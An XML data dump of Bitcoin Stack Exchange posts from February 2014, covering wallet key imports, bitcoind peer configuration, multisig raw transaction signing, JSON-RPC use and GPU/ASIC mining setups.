  <row Id="22452" PostTypeId="1" CreationDate="2014-02-20T02:05:19.807" Score="0" ViewCount="706" Body="&lt;p&gt;I imported all my private keys (including those of change addresses) to Andreas Schildbach's Bitcoin Wallet  from bitcoin-qt and my balance is still zero. This disagrees with Blockchain, which clearly shows non-zero final balance. What is the reason and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="13670" LastEditorUserId="5406" LastEditDate="2016-01-05T13:35:22.937" LastActivityDate="2017-01-03T21:24:52.973" Title="Android Bitcoin Wallet, zero balance after keys import" Tags="|bitcoin-core|bitcoin-wallet-app|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="22454" PostTypeId="1" AcceptedAnswerId="22455" CreationDate="2014-02-20T05:14:16.403" Score="1" ViewCount="1201" Body="&lt;p&gt;I am running two bitcoin instances using the method described in this previous thread: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13584/6024&quot;&gt;https://bitcoin.stackexchange.com/a/13584/6024&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the new datadir and each instance has a different wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I found that I can't use the same port to listen on, otherwise there is a conflict. If I change the port for the second daemon, it receives no peers and cannot update the blockchain database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-02-20T06:38:14.340" Title="Running two bitcoin instances on a linux server, can't get peers on second instance" Tags="|blockchain|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22455" PostTypeId="2" ParentId="22454" CreationDate="2014-02-20T05:57:33.620" Score="1" Body="&lt;p&gt;You'll want to add either &lt;code&gt;addnode=&amp;lt;ipaddress&amp;gt;&lt;/code&gt; or &lt;code&gt;connect=&amp;lt;ipaddress&amp;gt;&lt;/code&gt; to the bitcoin.conf of the node that is not working, where &lt;code&gt;&amp;lt;ipaddress&amp;gt;&lt;/code&gt; equals the &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These can also be command line flags (e.g., &lt;code&gt;bitcoind -connect=127.0.0.1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between &lt;code&gt;addnode&lt;/code&gt; and &lt;code&gt;connect&lt;/code&gt; is explained like this (attributed to 'Noodle' on Freenode):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Quick Primer on addnode vs connect&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Let's say for instance you use addnode=4.2.2.4&#xA;  addnode will connect you to and tell you about the nodes connected to 4.2.2.4.  In addition it will tellthe other nodes connected to it that you exist so they can connect to you.&lt;br&gt;&#xA;  connect will not do the above when you 'connect' to it.&#xA;  It will &lt;em&gt;only&lt;/em&gt; connect you to 4.2.2.4 and no one else&lt;br&gt;&#xA;  So if you're behind a firewall, or have other problems &#xA;  finding nodes, add some using 'addnode'.&lt;br&gt;&#xA;  If you want to stay private, use 'connect' to only connect to &quot;trusted&quot; nodes.&lt;br&gt;&#xA;  If you run multiple nodes on a LAN, there's no need for&#xA;  all of them to open lots of connections.  Instead 'connect' them all to one node that is port forwarded and has lots of connections.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3212" LastEditorUserId="3212" LastEditDate="2014-02-20T06:38:14.340" LastActivityDate="2014-02-20T06:38:14.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22456" PostTypeId="2" ParentId="22442" CreationDate="2014-02-20T05:57:57.127" Score="-2" Body="&lt;p&gt;Your password is too short, make it longer and it should work.&lt;/p&gt;&#xA;" OwnerUserId="13672" LastActivityDate="2014-02-20T05:57:57.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22457" PostTypeId="2" ParentId="22239" CreationDate="2014-02-20T06:07:30.993" Score="4" Body="&lt;p&gt;I get the same error using OS X 10.9 MBPR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though I followed &lt;a href=&quot;http://atomton.roon.io/compiling-cudaminer-on-os-x-10-9&quot; rel=&quot;nofollow&quot;&gt;http://atomton.roon.io/compiling-cudaminer-on-os-x-10-9&lt;/a&gt; exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: PROBLEM SOLVED.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by changing &#xA;include malloc.h&#xA;to &#xA;include malloc/malloc.h&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in both scrypt-jane.cpp&#xA;and sha3.cpp&lt;/p&gt;&#xA;" OwnerUserId="13673" LastEditorUserId="13673" LastEditDate="2014-02-20T07:18:36.147" LastActivityDate="2014-02-20T07:18:36.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22458" PostTypeId="1" AcceptedAnswerId="22483" CreationDate="2014-02-20T07:14:21.950" Score="1" ViewCount="4689" Body="&lt;p&gt;I've been googling for quite some time now, but I was unable to locate any complete example, with the request &amp;amp; the POST/GET parameters to the Bitcoin JSON-RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to use the JSON-RPC ? How to use it to make a transaction ?&lt;/p&gt;&#xA;" OwnerUserId="13642" LastActivityDate="2014-02-20T21:38:39.190" Title="how to transfer coin using bitcoin rest API" Tags="|transactions|bitcoind|bitcoin-core|client|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22459" PostTypeId="2" ParentId="20346" CreationDate="2014-02-20T08:05:54.007" Score="0" Body="&lt;p&gt;@JonathanRogiest you can download it &lt;em&gt;today&lt;/em&gt; and compile it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can play with it here.. looks neat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoincore.org/~gavin/createpaymentrequest.php&quot; rel=&quot;nofollow&quot;&gt;https://bitcoincore.org/~gavin/createpaymentrequest.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11555" LastActivityDate="2014-02-20T08:05:54.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22460" PostTypeId="1" CreationDate="2014-02-20T09:05:59.030" Score="1" ViewCount="427" Body="&lt;p&gt;We can add trust line in our ripple wallet, but there is no option to delete this. &#xA;The only way we can do is just set the limit to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why is this and what is the benefit from this design?&lt;/p&gt;&#xA;" OwnerUserId="13677" LastActivityDate="2014-03-18T04:13:00.990" Title="why we can't delete the trust line with ripple?" Tags="|ripple|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T21:15:27.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="22461" PostTypeId="1" CreationDate="2014-02-20T09:41:02.233" Score="2" ViewCount="4354" Body="&lt;p&gt;Let me talk about how I got to the situation I'm in right now. I am using PHP and the JSON library to control bitcoind. And doing so.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a multisignature address requiring 2 of 3 signatures with createmultisig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then sent funds to the multisignature address and was able to confirm the transactions sent to this address with using getrawtransaction and decoderawtransaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I wanted to release those funds to a specific address (because I control all the keys, this is just a test run)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I created a raw transaction in which I entered the transaction ID that I used for one of the transactions to send funds to the multisignature wallet. I also added the desired address and amount. After this, it spit out a raw transaction hex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next step is to sign the raw transaction. This is where I am stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameters for signrawtransaction are confusing to me, and I need it explained to me as if I was 5 years old. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;hexstring - assuming this is the hex string that createrawtransaction spit out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;transaction id - is this the transaction id from when I transferred in the amount to the multisig wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scriptPubKey - no idea what this is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;redeemScript - no idea what this is&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I grabbed scriptPubKey and redeemScript from the transaction I used to transfer funds into the multisig wallet, but the resulting output was the exact input of the hex string, so it is obviously not signing it correctly. I am not sure what these 2 paramters are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody please help me with this. I need it explained to me like I am retarded because none of the explanations I have read online have helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT to RE: Jonathan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Created a multisig address using 3 public keys that I generated.&#xA;I took note of the private keys as well, and the outputted multisig address (ABC) and redeemScript (redeem1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Sent coins to the multisig address and by searching through the blockchain found that the transactions exist. I had multiple transaction IDs, to send to this address but I am focusing on one that I am trying to use as an output. We will call it (txid1). In txid1, when I called getrawtransaction, it also had a 46 byte hexed pubkey attached to the output, I will call that (pubkey1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Next I created a raw transaction which included the paramters;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;txid1, vout=0, address (address to spend to) and amount (matches the same amount transferred to the multsig address with txid1) and it spits out a hexstring, which I will call (hex1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) SignRawTransaction - here is where I am stuck.&#xA;The parameters it asks for are; &lt;/p&gt;&#xA;&#xA;&lt;p&gt; [{&quot;txid&quot;:txid,&quot;vout&quot;:n,&quot;scriptPubKey&quot;:hex, &quot;redeemScript&quot;:hex},...] [,...] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am inputting signrawtransaction(hex1, [&quot;txid&quot;=&gt;txid1, &quot;vout&quot;=&gt;0, &quot;scriptPubKey&quot;=&gt;pubkey1, &quot;redeemScript&quot;=&gt;redeem1, array(oneofmyprivatekeys))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the resulting output is just the hex1, without a single change to it. I am not getting any error messages, just an outputed string identical to hex1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give me an idea of what I am doing wrong? Thank you so much!&lt;/p&gt;&#xA;" OwnerUserId="13657" LastEditorUserId="13657" LastEditDate="2014-02-20T20:49:14.960" LastActivityDate="2014-07-21T02:17:16.230" Title="SignRawTransaction - What is scriptPubKey and redeemScript? [SOLVED]" Tags="|multi-signature|signature|raw-transaction|" AnswerCount="1" CommentCount="2" ClosedDate="2014-08-08T23:24:47.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="22465" PostTypeId="2" ParentId="22305" CreationDate="2014-02-20T12:45:03.393" Score="1" Body="&lt;p&gt;Doesnt work for transactions that are not your own.&lt;/p&gt;&#xA;" OwnerUserId="13410" LastActivityDate="2014-02-20T12:45:03.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22466" PostTypeId="2" ParentId="20346" CreationDate="2014-02-20T13:08:06.453" Score="0" Body="&lt;p&gt;Making a new address for each transaction will allow you to follow each and every transaction made to your hotel. If you used the same address for all the transactions everything will all go to the same wallet. While if you made new wallets (if you used blockchain.info you can see that you can make new wallets or addresses within your account) you would be able to see who booked and for how much. At the end it all depends how you like it.&lt;/p&gt;&#xA;" OwnerUserId="13684" LastActivityDate="2014-02-20T13:08:06.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22468" PostTypeId="1" CreationDate="2014-02-20T14:41:40.633" Score="1" ViewCount="89" Body="&lt;p&gt;Installed Bitcoin-QT on windows2008r2 server, but it won't sync anything at all. No connections to network, no blocks, no movement full stop. I have OK'd it in windows firewall, tried connecting through the socks proxy option / turned socks off - no dice - added nodes in bitcoin.conf file etc. Everything I can think of, I have no doubt its probably a server issue - but I still have no idea what to do! It's just doing literally nothing - any ideas? I set TCP and UDP rules, which were auto created in firewall, to allow all ports to the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says, in the client:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No connections to the network available. Catching up, processed 0 of 250000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx in advance.&lt;/p&gt;&#xA;" OwnerUserId="13686" LastEditorUserId="13686" LastEditDate="2014-02-20T15:20:59.633" LastActivityDate="2014-02-20T15:20:59.633" Title="Installed Bitcoin-QT on windows2008r2 server, but it won't snyc anything at all" Tags="|bitcoin-core|synchronization|server|installation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22469" PostTypeId="2" ParentId="20346" CreationDate="2014-02-20T15:35:51.153" Score="0" Body="&lt;p&gt;if you are collecting the payment with them face to face then a single address is fine. it is good because you can just print out the qr code and let them scan it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not collecting face to face then having multiple addresses is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you want to code a price into the address then having multiple addresses is good too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitpay, coinbase all help you do that.&#xA;for something really easy check out easybitz they have the quickest way.&lt;/p&gt;&#xA;" OwnerUserId="13687" LastActivityDate="2014-02-20T15:35:51.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22471" PostTypeId="2" ParentId="22461" CreationDate="2014-02-20T15:48:33.047" Score="3" Body="&lt;p&gt;First of all, take a look at &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;.  That's a script that creates two raw transactions: one to fund a multisig address, and another to spend the funds.  It shows each of the steps necessary to create and spend from a multisig address.  Unfortunately, the script doesn't do a good job of explaining where the parameters come from.  I'll try to explain the parameters you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you guessed, hexstring is the output from createrawtransaction, and transaction id is the ID of the transaction that sent the coins to the multisig address.  redeemScript is easy.  When you first generated the multisig address, the command returned both the address and the redeemScript.  If you don't have that value, you can recreate the multisig address with the same public keys and you'll see it in the output.  scriptPubKey is the one I'm not sure about.  I think I know what it is, but I don't have bitcoind in front of me so I can't be sure.  If you decode the raw transaction that send coins to the multisig address, you'll see one or two outputs, one of which sends coins to the multisig address.  (The other output sends the rest of the coins to a change address.)  There will be a scriptPubKey section in that output.  Copy the hex string from that section and use it as the scriptPubKey parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have those parameters, you can sign the raw transaction and send it.  If it doesn't work, leave a comment here and I'll try to work it out when I get home.&lt;/p&gt;&#xA;" OwnerUserId="13145" LastActivityDate="2014-02-20T15:48:33.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22473" PostTypeId="1" AcceptedAnswerId="22474" CreationDate="2014-02-20T17:50:25.933" Score="1" ViewCount="133" Body="&lt;p&gt;Is it possible to verify or audit an exchange (for eg. mnt gox) to determine how much bitcoin they have on deposit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, they could publish one or more bitcoin wallet addresses and by examining the block chain the total amount of bitcoin held could be verified.&lt;/p&gt;&#xA;" OwnerUserId="13690" LastEditorUserId="5406" LastEditDate="2015-05-08T09:44:24.043" LastActivityDate="2015-05-08T09:44:24.043" Title="Is it possible to verify or audit an exchange to determine how much bitcoin they have on deposit?" Tags="|mtgox|proof-of-solvency|audits|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22474" PostTypeId="2" ParentId="22473" CreationDate="2014-02-20T18:31:22.137" Score="1" Body="&lt;p&gt;If they want to publish this information, it's certainly possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they don't, nobody really knows. They have at least one Bitcoin address for receiving money from each customer, and probably many, many more. Knowing and tracking all of them would be impossibile.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-02-20T18:31:22.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22475" PostTypeId="2" ParentId="20505" CreationDate="2014-02-20T19:10:16.480" Score="0" Body="&lt;p&gt;Beware, young Alice! That rabbit-hole you see is waaaay too deep!! Your seemingly innocent question is indeed very profound and stays at the intersection of history, philosophy and economics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whence do &lt;em&gt;anything&lt;/em&gt; get its value? According to the Austrian school of economics, there's no such a thing as an &quot;inherent value&quot; of stuff: all value is subjective, we as economic participants &quot;imbue&quot; value onto the things according &#xA;to both rational and irrational beliefs. Should we be in a desert island, would you rather have 3 gallons of water and a wooden raft or 100 kilograms of pure gold?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin itself had imbued value way before there were exchanges set for it. People would give each other coins as a sign of appreciation, a kind of &quot;membership key&quot; into an über-exclusive (and ultra-geek) club or, as in an (in)famous example, in exchange for some pizza.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for buy/sell orders moving the price of a coin: yes, that does happen when the market for that coin doesn't have too much volume. For instance, with millions of dollars in bitcoins changing hands daily, a single buy/sell order for 1 million USD at any exchange won't move the price up/down more than 5-10%, and that &quot;hiccup&quot; will rapidly correct itself. Try that with, say, Litecoin and the price would go up about 33-50%, and most probably such movement would start a rally where people and automated trading bots enter an irrational frenzy trading, trying to ride the wave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a very dramatic and recent example you can check the Protoshares market at cryptsy - look up the graphs for 17-Feb to 18-Feb. And the equally impressive dive (plus its damping up and down the new equilibrium price) about 12 hours later. Unobtanium, Feathercoin and other minor coins have recently experienced similar (induced?) rallies.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-02-20T19:10:16.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22476" PostTypeId="1" AcceptedAnswerId="22551" CreationDate="2014-02-20T19:58:02.813" Score="1" ViewCount="10251" Body="&lt;p&gt;As title says, I have 8 identical mining machines I just want to be able to point them at the same pool all at once, is this possible with a combination of python and ssh?  If someone else already invented something could you point me to that?  If not, could you give me a basic idea on how I would tackle this myself?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5406" LastEditDate="2016-04-25T15:34:57.103" LastActivityDate="2016-04-25T15:34:57.103" Title="I have 8 Antminers, is there a way I could change their pool credentials all at the same time like through ssh with a script" Tags="|mining-pools|miner-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22477" PostTypeId="1" AcceptedAnswerId="22478" CreationDate="2014-02-20T20:14:17.147" Score="5" ViewCount="24683" Body="&lt;p&gt;I have a GTX660 right now, but I bought an R9 290x recently. I was wondering if I can leave both in my pc and use one (the GTX660) for Bitcoin mining and one (the R9 290x) for everything else (mostly games).  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this even possible?  &lt;/li&gt;&#xA;&lt;li&gt;Will it decrease gaming performance to run a miner on a separate card?  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The rest of my specs:&lt;br&gt;&#xA;i7 3820 @ 3.60 GHz&lt;br&gt;&#xA;16GB DDR3 RAM @ 1333MHz&lt;br&gt;&#xA;Asus 2011 P9X79 Pro&lt;br&gt;&#xA;Windows 8 pro  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bought the new card for gaming, but if it would be possible to do this with my old card without losing performance that would be great.&lt;/p&gt;&#xA;" OwnerUserId="13699" LastEditorUserId="5406" LastEditDate="2016-04-25T16:27:01.003" LastActivityDate="2016-11-21T21:52:33.863" Title="Can I use one graphics card for games and one for Bitcoin mining, without losing performance?" Tags="|miner-configuration|gpu-mining|mining-setup|performance|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22478" PostTypeId="2" ParentId="22477" CreationDate="2014-02-20T20:44:59.300" Score="4" Body="&lt;p&gt;With the advent of ASICs, Bitcoin GPU mining is no longer profitable. I would recommend mining a Scrypt coin such as Dogecoin or Litecoin. (You can then trade it in for Bitcoin on an exchange, if you prefer.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your original question, yes, you can use one card for mining and the other for actually running the computer.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-02-20T20:44:59.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22483" PostTypeId="2" ParentId="22458" CreationDate="2014-02-20T21:38:39.190" Score="1" Body="&lt;p&gt;The list of json RPC commands is located on the wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a list of json-rpc wrapper libraries on the blockchain wallet API page: &lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/json_rpc_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pick a wrapper library for the environment you develop in and dive in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a transaction, you're going to likely use &quot;sendfrom&quot; or &quot;sendtoaddress&quot;.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-20T21:38:39.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22484" PostTypeId="2" ParentId="22430" CreationDate="2014-02-20T21:44:39.513" Score="2" Body="&lt;p&gt;Currently, the list of exchanges in the Philippines includes &lt;a href=&quot;https://buybitcoin.ph/&quot; rel=&quot;nofollow&quot;&gt;https://buybitcoin.ph/&lt;/a&gt; and &lt;a href=&quot;https://coins.ph/&quot; rel=&quot;nofollow&quot;&gt;https://coins.ph/&lt;/a&gt;. Both of those allow you to sell Bitcoin and have the proceeds deposited as PHP into your bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way the process works is that you send Bitcoin from your wallet to the wallet of the Exchange, where it gets sold for PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coinxchange.ph/&quot; rel=&quot;nofollow&quot;&gt;https://www.coinxchange.ph/&lt;/a&gt; will be opening soon.  Disclosure: I'm an employee of CoinXchange.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="11121" LastEditDate="2014-02-20T21:51:07.560" LastActivityDate="2014-02-20T21:51:07.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22486" PostTypeId="2" ParentId="22477" CreationDate="2014-02-20T22:40:19.403" Score="1" Body="&lt;p&gt;I'm pretty sure both cards have to be the same make and model for your motherboard to recognize them so that both would work at the same time.&lt;/p&gt;&#xA;" OwnerUserId="13703" LastActivityDate="2014-02-20T22:40:19.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22487" PostTypeId="1" AcceptedAnswerId="22489" CreationDate="2014-02-20T23:20:15.683" Score="1" ViewCount="4000" Body="&lt;p&gt;Could anyone tell if &lt;code&gt;Ubuntu Server&lt;/code&gt; has any advantages over &lt;code&gt;Ubuntu Desktop&lt;/code&gt; for mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;a href=&quot;https://askubuntu.com/questions/31081/whats-the-difference-between-the-server-version-and-the-desktop-version&quot;&gt;here&lt;/a&gt; is explained that there should be no big difference since that the &lt;code&gt;Server&lt;/code&gt; and &lt;code&gt;Desktop&lt;/code&gt; are different by initial packages installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if energy can be saved as you are not using graphical environment&lt;/li&gt;&#xA;&lt;li&gt;if GPU would have better performance in case it mining PC is manage&#xA;by SSH connection against a monitor is connected to it when using&#xA;&lt;code&gt;Ubuntu Desktop&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;if the mining PC will work better - I noticed that some icons (like updates) are not responsive on my &lt;code&gt;Ubuntu Desktop&lt;/code&gt; after 24 hours mining a&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any others pros and cons about using server versions against desktop version that anyone can share will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:01.473" LastActivityDate="2016-04-25T20:25:19.957" Title="Ubuntu Server vs Desktop for mining PC" Tags="|miner-configuration|ubuntu|server|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22489" PostTypeId="2" ParentId="22487" CreationDate="2014-02-20T23:40:27.960" Score="4" Body="&lt;p&gt;I would highly recommend using Ubuntu Server for this, as long as you know what you are doing without a GUI. Not having a GUI at all means smaller OS size and much less OS tasks. This translates into more power savings. If you are using graphics cards, a non-GUI OS &lt;em&gt;will&lt;/em&gt; improve your mining performance. If using an ASIC/etc. you probably will not see performance improvements, but you should definitely see power consumption improvements.&lt;/p&gt;&#xA;" OwnerUserId="13707" LastActivityDate="2014-02-20T23:40:27.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22490" PostTypeId="2" ParentId="22476" CreationDate="2014-02-20T23:44:59.090" Score="1" Body="&lt;p&gt;I would suggest creating a bash script for this. You could write a bash script that, when executed, asks what pool you would like to switch to. It then kills all of your miners and restarts them using the new pool.&lt;/p&gt;&#xA;" OwnerUserId="13707" LastActivityDate="2014-02-20T23:44:59.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22492" PostTypeId="1" CreationDate="2014-02-21T00:39:07.587" Score="2" ViewCount="856" Body="&lt;p&gt;I have 3 R9 280x sapphires I use with sgminer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On almost every single pool, with or without --no-submit-stale, after about 5 min of hashing, my worker get's banned and hashing drops to zero. If I lower the intensity, I barely get 500mh/s if that. If I set it to 13, it runs normal, but I get banned?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sgminer -o stratum+tcp://neo.cryptcoins.net:3331 -u user.worker -p x -I 13 -D -P --no-submit-stale&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I prevent from getting banned with a decent hash rate?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[18:58:33] RECVD: , &quot;Worker is temporarily banned&quot;, null], &quot;id&quot;: 666, &quot;result&quot;:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12392" LastActivityDate="2014-02-21T00:39:07.587" Title="worker keeps getting temp banned with sgminer" Tags="|bitcoind|cgminer|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22493" PostTypeId="1" CreationDate="2014-02-21T00:40:43.597" Score="0" ViewCount="258" Body="&lt;p&gt;1JPEobzLgKo5EKEfDVN8aJ61Pdryse6ccf This address shows transactions I was not aware of for unknown reasons, and does not show up in multibit(version 0.5.16). Which one is accurate, and how can I sync them?&lt;/p&gt;&#xA;" OwnerUserId="13710" LastActivityDate="2014-02-21T00:40:43.597" Title="Transactions show up on blockchain but not in multibit?" Tags="|blockchain|multibit|error|" AnswerCount="0" CommentCount="4" ClosedDate="2014-02-25T19:22:17.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="22495" PostTypeId="2" ParentId="4530" CreationDate="2014-02-21T04:23:14.787" Score="1" Body="&lt;p&gt;If you know Python, then there is a library called Coinkit that you can use to create Namecoin addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/halfmoonlabs/coinkit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/halfmoonlabs/coinkit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has step by step instructions as well, but you'll do something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pip install coinkit&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once installed, open python and: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;from coinkit.keypair import NamecoinKeypair&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a new private-key and NMC-address pair:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;keypair = NamecoinKeypair()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the private key by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;keypair.private_key()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the corresponding namecoin address as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;keypair.address()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13713" LastEditorUserId="11369" LastEditDate="2014-02-21T05:07:08.693" LastActivityDate="2014-02-21T05:07:08.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
